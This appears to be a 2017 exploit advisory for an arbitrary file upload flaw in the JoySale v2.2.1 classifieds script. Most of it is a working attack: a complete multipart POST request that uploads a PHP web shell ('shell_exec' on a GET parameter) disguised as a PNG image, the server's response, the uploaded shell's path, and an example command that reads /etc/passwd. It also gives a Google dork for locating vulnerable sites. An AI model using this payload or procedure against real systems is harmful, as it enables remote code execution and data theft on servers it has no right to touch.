139 lines
No EOL
4.6 KiB
Text
139 lines
No EOL
4.6 KiB
Text
JoySale Arbitrary File Upload
|
||
|
||
# Exploit Title: JoySale Arbitrary File Upload
|
||
# Exploit Author: Mutlu Benmutlu
|
||
# Date: 1/08/2017
|
||
# Vendor Homepage: http://www.hitasoft.com/product/joysale-advanced-classifieds-script/
|
||
# Version: Joysale v2.2.1 (latest)
|
||
# Google Dork: "joysale-style.css"
|
||
# Tested on : MacOS Sierra 10.12.5 / Kali Linux
|
||
|
||
Details
|
||
=======
|
||
|
||
Vendor informed about vulnerability, they are going to release fix. Joysale v2.2.1 (latest version) vulnerable to attack.
|
||
While uploading image file, you can change the content in it, there is only user controls for file type.
|
||
After you post vulnerable code via file upload, server saves your file in temp folder
|
||
|
||
========================================
|
||
Vulnerable Page:
|
||
========================================
|
||
|
||
http://xxxxxxxxx.com/products/create
|
||
|
||
========================================
|
||
Vulnerable POST REQUEST:
|
||
========================================
|
||
|
||
POST /item/products/upload/QZP83N70 HTTP/1.1
|
||
Host: xxxxxxxxx.com
|
||
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
|
||
Accept: application/json, text/javascript, */*; q=0.01
|
||
Accept-Language: en-US,en;q=0.5
|
||
X-Requested-With: XMLHttpRequest
|
||
Referer: https://xxxxxxxxx.com/products/create
|
||
Content-Length: 2054
|
||
Content-Type: multipart/form-data; boundary=---------------------------1321235123106179646780168
|
||
Cookie: PHPSESSID=b6ah8xxxxxxx9k4pqvr4; useridval=user%40mailaddress.com
|
||
Connection: close
|
||
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="XUploadForm[file]"
|
||
|
||
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[category]"
|
||
|
||
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[subCategory]"
|
||
|
||
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[name]"
|
||
|
||
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[description]"
|
||
|
||
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[price]"
|
||
|
||
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[currency]"
|
||
|
||
€-EUR
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[location]"
|
||
|
||
28108 Alcobendas, Spain
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[latitude]"
|
||
|
||
40.534915100000006
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[longitude]"
|
||
|
||
-3.616368599999987
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="facebook_share"
|
||
|
||
1
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[promotion][type]"
|
||
|
||
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[promotion][addtype]"
|
||
|
||
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="Products[uploadSessionId]"
|
||
|
||
QZP83N70
|
||
-----------------------------1321235045961106179646780168
|
||
Content-Disposition: form-data; name="XUploadForm[file]"; filename="ab.php"
|
||
Content-Type: image/png
|
||
|
||
<?php echo shell_exec($_GET[‘e’]); ?>
|
||
|
||
-----------------------------1321235045961106179646780168--
|
||
|
||
========================================
|
||
Vulnerable POST RESPONSE:
|
||
========================================
|
||
|
||
HTTP/1.1 200 OK
|
||
Server: nginx
|
||
Date: Mon, 31 Jul 2017 13:50:18 GMT
|
||
Content-Type: application/json
|
||
Connection: close
|
||
X-Powered-By: PHP/7.0.21
|
||
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||
Cache-Control: no-store, no-cache, must-revalidate
|
||
Pragma: no-cache
|
||
Vary: Accept
|
||
X-Powered-By: Linux
|
||
MS-Author-Via: DAV
|
||
Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate
|
||
Content-Length: 306
|
||
|
||
[{"name”:”ab.php","type":"image\/png","size": 306,"url":"\/media\/item\/tmp\/f99aaeasde51c890402b0fda9408.php","thumbnail_url":"\/media\/item\/tmp\/\/f99aaeasde51c890402b0fda9408.php","delete_url":"\/products\/upload?_method=delete&file= f99aaeasde51c890402b0fda9408.php","delete_type":"POST"}]
|
||
|
||
========================================
|
||
Vulnerable UPLOADED FILE PATH
|
||
========================================
|
||
|
||
http://xxxxxxxxx.com/media/item/tmp/f99aaeasde51c890402b0fda9408.php
|
||
|
||
========================================
|
||
Vulnerable Code Execution (example)
|
||
========================================
|
||
|
||
http://xxxxxxxxx.com/media/item/tmp/f99aaeasde51c890402b0fda9408.php?e=cat+/etc/passwd
|
||
|
||
|
||
Enjoy.
|
||
Mutlu Benmutlu |